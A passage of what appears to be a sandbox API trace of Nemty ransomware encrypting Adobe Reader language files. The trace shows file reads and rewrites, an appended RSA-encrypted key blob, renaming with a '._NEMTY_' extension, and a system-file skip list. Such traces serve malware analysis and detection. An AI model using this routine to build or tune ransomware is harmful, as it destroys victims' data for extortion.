RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6348ed8 [0215.278] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0215.278] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.es_AR.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.es_ar.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2e8 [0215.279] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x653e830 | out: lpFileSize=0x653e830*=28360) returned 1 [0215.279] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x6ec0) returned 0x6352c48 [0215.279] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0215.279] ReadFile (in: hFile=0x2e8, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x6ec0, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e824*=0x6ec0, lpOverlapped=0x0) returned 1 [0215.283] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0215.283] WriteFile (in: hFile=0x2e8, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x6ec0, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e81c*=0x6ec0, lpOverlapped=0x0) returned 1 [0215.283] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0215.283] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=28360, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x6ec8 [0215.283] WriteFile (in: hFile=0x2e8, lpBuffer=0x6348ed8*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6348ed8*, lpNumberOfBytesWritten=0x653e81c*=0x167, lpOverlapped=0x0) returned 1 [0215.284] CloseHandle (hObject=0x2e8) returned 1 [0215.284] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xe0) returned 0x6340218 [0215.284] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0215.284] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0215.284] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed30, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0215.284] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0215.284] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0215.284] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xe0) returned 0x6340300 [0215.284] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x14e) returned 0x63403e8 [0215.284] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340300 | out: hHeap=0x4f90000) returned 1 [0215.284] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0215.284] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.es_AR.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.es_ar.txt"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.es_AR.txt._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.es_ar.txt._nemty_kgobjgd_")) returned 1 [0215.285] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403e8 | out: hHeap=0x4f90000) returned 1 [0215.285] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340218 | out: hHeap=0x4f90000) returned 1 [0215.285] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0215.285] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0215.285] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0215.285] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6349050 | out: hHeap=0x4f90000) returned 1 [0215.285] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0215.285] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0215.285] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0215.285] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0215.285] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7ddaf0a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x6ec8, dwReserved0=0x15, dwReserved1=0x4f90000, cFileName="DisplayLanguageNames.es_BO.txt", cAlternateFileName="DIA31D~1.TXT")) returned 1 [0215.285] lstrcmpiW (lpString1="DisplayLanguageNames.es_BO.txt", lpString2=".") returned 1 [0215.285] lstrcmpiW (lpString1="DisplayLanguageNames.es_BO.txt", lpString2="..") returned 1 [0215.285] lstrcmpiW (lpString1="DisplayLanguageNames.es_BO.txt", lpString2="...") returned 1 [0215.285] lstrcmpiW (lpString1="DisplayLanguageNames.es_BO.txt", lpString2="windows") returned -1 [0215.285] lstrcmpiW (lpString1="DisplayLanguageNames.es_BO.txt", lpString2="$RECYCLE.BIN") returned 1 [0215.285] lstrcmpiW (lpString1="DisplayLanguageNames.es_BO.txt", lpString2="rsa") returned -1 [0215.285] lstrcmpiW (lpString1="DisplayLanguageNames.es_BO.txt", lpString2="NTDETECT.COM") returned -1 [0215.285] lstrcmpiW (lpString1="DisplayLanguageNames.es_BO.txt", lpString2="ntldr") returned -1 [0215.285] lstrcmpiW (lpString1="DisplayLanguageNames.es_BO.txt", lpString2="MSDOS.SYS") returned -1 [0215.285] lstrcmpiW (lpString1="DisplayLanguageNames.es_BO.txt", lpString2="IO.SYS") returned -1 [0215.285] lstrcmpiW (lpString1="DisplayLanguageNames.es_BO.txt", lpString2="boot.ini") returned 1 [0215.285] lstrcmpiW (lpString1="DisplayLanguageNames.es_BO.txt", lpString2="boot.ini") returned 1 [0215.285] lstrcmpiW (lpString1="DisplayLanguageNames.es_BO.txt", lpString2="AUTOEXEC.BAT") returned 1 [0215.285] lstrcmpiW (lpString1="DisplayLanguageNames.es_BO.txt", lpString2="ntuser.dat") returned -1 [0215.285] lstrcmpiW (lpString1="DisplayLanguageNames.es_BO.txt", lpString2="desktop.ini") returned 1 [0215.285] lstrcmpiW (lpString1="DisplayLanguageNames.es_BO.txt", lpString2="CONFIG.SYS") returned 1 [0215.285] lstrcmpiW (lpString1="DisplayLanguageNames.es_BO.txt", lpString2="RECYCLER") returned -1 [0215.285] lstrcmpiW (lpString1="DisplayLanguageNames.es_BO.txt", lpString2="BOOTSECT.BAK") returned 1 [0215.285] lstrcmpiW (lpString1="DisplayLanguageNames.es_BO.txt", lpString2="bootmgr") returned 1 [0215.285] lstrcmpiW (lpString1="DisplayLanguageNames.es_BO.txt", lpString2="programdata") returned -1 [0215.285] lstrcmpiW (lpString1="DisplayLanguageNames.es_BO.txt", lpString2="appdata") returned 1 [0215.285] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0215.286] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.es_BO.txt", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0215.286] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0215.286] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.es_BO.txt", cchWideChar=30, lpMultiByteStr=0x4f9ecb8, cbMultiByte=30, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DisplayLanguageNames.es_BO.txt", lpUsedDefaultChar=0x0) returned 30 [0215.286] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0215.286] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e80 [0215.286] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.es_BO.txt", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0215.286] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0215.286] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.es_BO.txt", cchWideChar=30, lpMultiByteStr=0x4f9ecb8, cbMultiByte=30, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DisplayLanguageNames.es_BO.txt", lpUsedDefaultChar=0x0) returned 30 [0215.286] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0215.286] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e80 | out: hHeap=0x4f90000) returned 1 [0215.286] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0215.286] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0215.286] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.es_BO.txt", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0215.286] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0215.286] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.es_BO.txt", cchWideChar=30, lpMultiByteStr=0x4f9ecb8, cbMultiByte=30, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DisplayLanguageNames.es_BO.txt", lpUsedDefaultChar=0x0) returned 30 [0215.286] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0215.286] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0215.286] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.es_BO.txt", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0215.286] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0215.286] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.es_BO.txt", cchWideChar=30, lpMultiByteStr=0x4f9ed58, cbMultiByte=30, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DisplayLanguageNames.es_BO.txt", lpUsedDefaultChar=0x0) returned 30 [0215.286] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0215.286] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xe0) returned 0x6340048 [0215.286] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340130 | out: hHeap=0x4f90000) returned 1 [0215.286] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xe0) returned 0x6340130 [0215.286] Sleep (dwMilliseconds=0x5) [0215.293] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x33f663b0, dwHighDateTime=0x1d561e8)) [0215.293] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x33f663b0, dwHighDateTime=0x1d561e8)) [0215.293] GetLastError () returned 0x0 [0215.293] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0215.294] GetLastError () returned 0x0 [0215.294] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0215.294] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0215.294] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0215.294] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e5e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e5e0*=0x100) returned 1 [0215.294] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x10, dwBufLen=0x100 | out: pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x100) returned 1 [0215.294] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e5dc | out: pszString=0x0, pcchString=0x653e5dc) returned 1 [0215.294] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6349050 [0215.294] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x6349050, pcchString=0x653e5dc | out: pszString="RykJwzZ9ICLIFVobxghYENyJnPub/RBBlMYnYnU2zshTyIBV8z6AjzaHyHXfkKLr\r\n6vndSDS0NJGFcQVhYQIQDJptQMfL+an9BbhgzRRuRveR1eoObZSMUldoJQqaKSKI\r\nhW9+/FQKrGGPUjoWOIyxL41se2bU9sIp8LcdYUbMGNxpOWfRm182WnvhOQDoD+ZX\r\njzQZFIJ3VmkXVsmRt0L9TDSaBJhXsJbeDAInvUTAR47Wao4bZIU5dXoKtTgjNIqI\r\nlg8S4U9lqdk0TNslVSt4kMVIR5tDnqgBg5mgn2aZ064m0keQD77I4DbW7qZ5pn8u\r\nOjqKeehAkm2Kk2QesL3NRg==\r\n", pcchString=0x653e5dc) returned 1 [0215.294] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0215.294] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6349050 | out: hHeap=0x4f90000) returned 1 [0215.294] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0215.294] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0215.294] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6349050 [0215.294] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0215.294] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.es_BO.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.es_bo.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2e8 [0215.295] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x653e830 | out: lpFileSize=0x653e830*=28360) returned 1 [0215.295] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x6ec0) returned 0x6352c48 [0215.295] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0215.295] ReadFile (in: hFile=0x2e8, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x6ec0, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e824*=0x6ec0, lpOverlapped=0x0) returned 1 [0215.298] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0215.298] WriteFile (in: hFile=0x2e8, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x6ec0, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e81c*=0x6ec0, lpOverlapped=0x0) returned 1 [0215.298] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0215.298] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=28360, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x6ec8 [0215.298] WriteFile (in: hFile=0x2e8, lpBuffer=0x6349050*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6349050*, lpNumberOfBytesWritten=0x653e81c*=0x167, lpOverlapped=0x0) returned 1 [0215.299] CloseHandle (hObject=0x2e8) returned 1 [0215.299] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xe0) returned 0x6340218 [0215.299] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0215.299] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0215.299] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ece0, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0215.299] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0215.299] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0215.299] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xe0) returned 0x6340300 [0215.299] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x14e) returned 0x63403e8 [0215.299] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340300 | out: hHeap=0x4f90000) returned 1 [0215.299] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0215.299] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.es_BO.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.es_bo.txt"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.es_BO.txt._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.es_bo.txt._nemty_kgobjgd_")) returned 1 [0215.300] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403e8 | out: hHeap=0x4f90000) returned 1 [0215.300] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340218 | out: hHeap=0x4f90000) returned 1 [0215.300] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0215.300] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6349050 | out: hHeap=0x4f90000) returned 1 [0215.300] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0215.300] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0215.300] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0215.300] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340130 | out: hHeap=0x4f90000) returned 1 [0215.300] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0215.300] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0215.300] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7dd88f40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x6ec8, dwReserved0=0x15, dwReserved1=0x4f90000, cFileName="DisplayLanguageNames.es_CL.txt", cAlternateFileName="DI9065~1.TXT")) returned 1 [0215.300] lstrcmpiW (lpString1="DisplayLanguageNames.es_CL.txt", lpString2=".") returned 1 [0215.300] lstrcmpiW (lpString1="DisplayLanguageNames.es_CL.txt", lpString2="..") returned 1 [0215.300] lstrcmpiW (lpString1="DisplayLanguageNames.es_CL.txt", lpString2="...") returned 1 [0215.300] lstrcmpiW (lpString1="DisplayLanguageNames.es_CL.txt", lpString2="windows") returned -1 [0215.300] lstrcmpiW (lpString1="DisplayLanguageNames.es_CL.txt", lpString2="$RECYCLE.BIN") returned 1 [0215.300] lstrcmpiW (lpString1="DisplayLanguageNames.es_CL.txt", lpString2="rsa") returned -1 [0215.300] lstrcmpiW (lpString1="DisplayLanguageNames.es_CL.txt", lpString2="NTDETECT.COM") returned -1 [0215.300] lstrcmpiW (lpString1="DisplayLanguageNames.es_CL.txt", lpString2="ntldr") returned -1 [0215.300] lstrcmpiW (lpString1="DisplayLanguageNames.es_CL.txt", lpString2="MSDOS.SYS") returned -1 [0215.300] lstrcmpiW (lpString1="DisplayLanguageNames.es_CL.txt", lpString2="IO.SYS") returned -1 [0215.300] lstrcmpiW (lpString1="DisplayLanguageNames.es_CL.txt", lpString2="boot.ini") returned 1 [0215.300] lstrcmpiW (lpString1="DisplayLanguageNames.es_CL.txt", lpString2="boot.ini") returned 1 [0215.300] lstrcmpiW (lpString1="DisplayLanguageNames.es_CL.txt", lpString2="AUTOEXEC.BAT") returned 1 [0215.300] lstrcmpiW (lpString1="DisplayLanguageNames.es_CL.txt", lpString2="ntuser.dat") returned -1 [0215.300] lstrcmpiW (lpString1="DisplayLanguageNames.es_CL.txt", lpString2="desktop.ini") returned 1 [0215.300] lstrcmpiW (lpString1="DisplayLanguageNames.es_CL.txt", lpString2="CONFIG.SYS") returned 1 [0215.300] lstrcmpiW (lpString1="DisplayLanguageNames.es_CL.txt", lpString2="RECYCLER") returned -1 [0215.300] lstrcmpiW (lpString1="DisplayLanguageNames.es_CL.txt", lpString2="BOOTSECT.BAK") returned 1 [0215.300] lstrcmpiW (lpString1="DisplayLanguageNames.es_CL.txt", lpString2="bootmgr") returned 1 [0215.300] lstrcmpiW (lpString1="DisplayLanguageNames.es_CL.txt", lpString2="programdata") returned -1 [0215.300] lstrcmpiW (lpString1="DisplayLanguageNames.es_CL.txt", lpString2="appdata") returned 1 [0215.300] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0215.300] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.es_CL.txt", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0215.300] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0215.300] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.es_CL.txt", cchWideChar=30, lpMultiByteStr=0x4f9ecb8, cbMultiByte=30, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DisplayLanguageNames.es_CL.txt", lpUsedDefaultChar=0x0) returned 30 [0215.301] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0215.301] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e80 [0215.301] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.es_CL.txt", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0215.301] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0215.301] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.es_CL.txt", cchWideChar=30, lpMultiByteStr=0x4f9ecb8, cbMultiByte=30, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DisplayLanguageNames.es_CL.txt", lpUsedDefaultChar=0x0) returned 30 [0215.301] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0215.301] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e80 | out: hHeap=0x4f90000) returned 1 [0215.301] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0215.301] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0215.301] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.es_CL.txt", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0215.301] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0215.301] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.es_CL.txt", cchWideChar=30, lpMultiByteStr=0x4f9ecb8, cbMultiByte=30, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DisplayLanguageNames.es_CL.txt", lpUsedDefaultChar=0x0) returned 30 [0215.301] HeapFree (in: 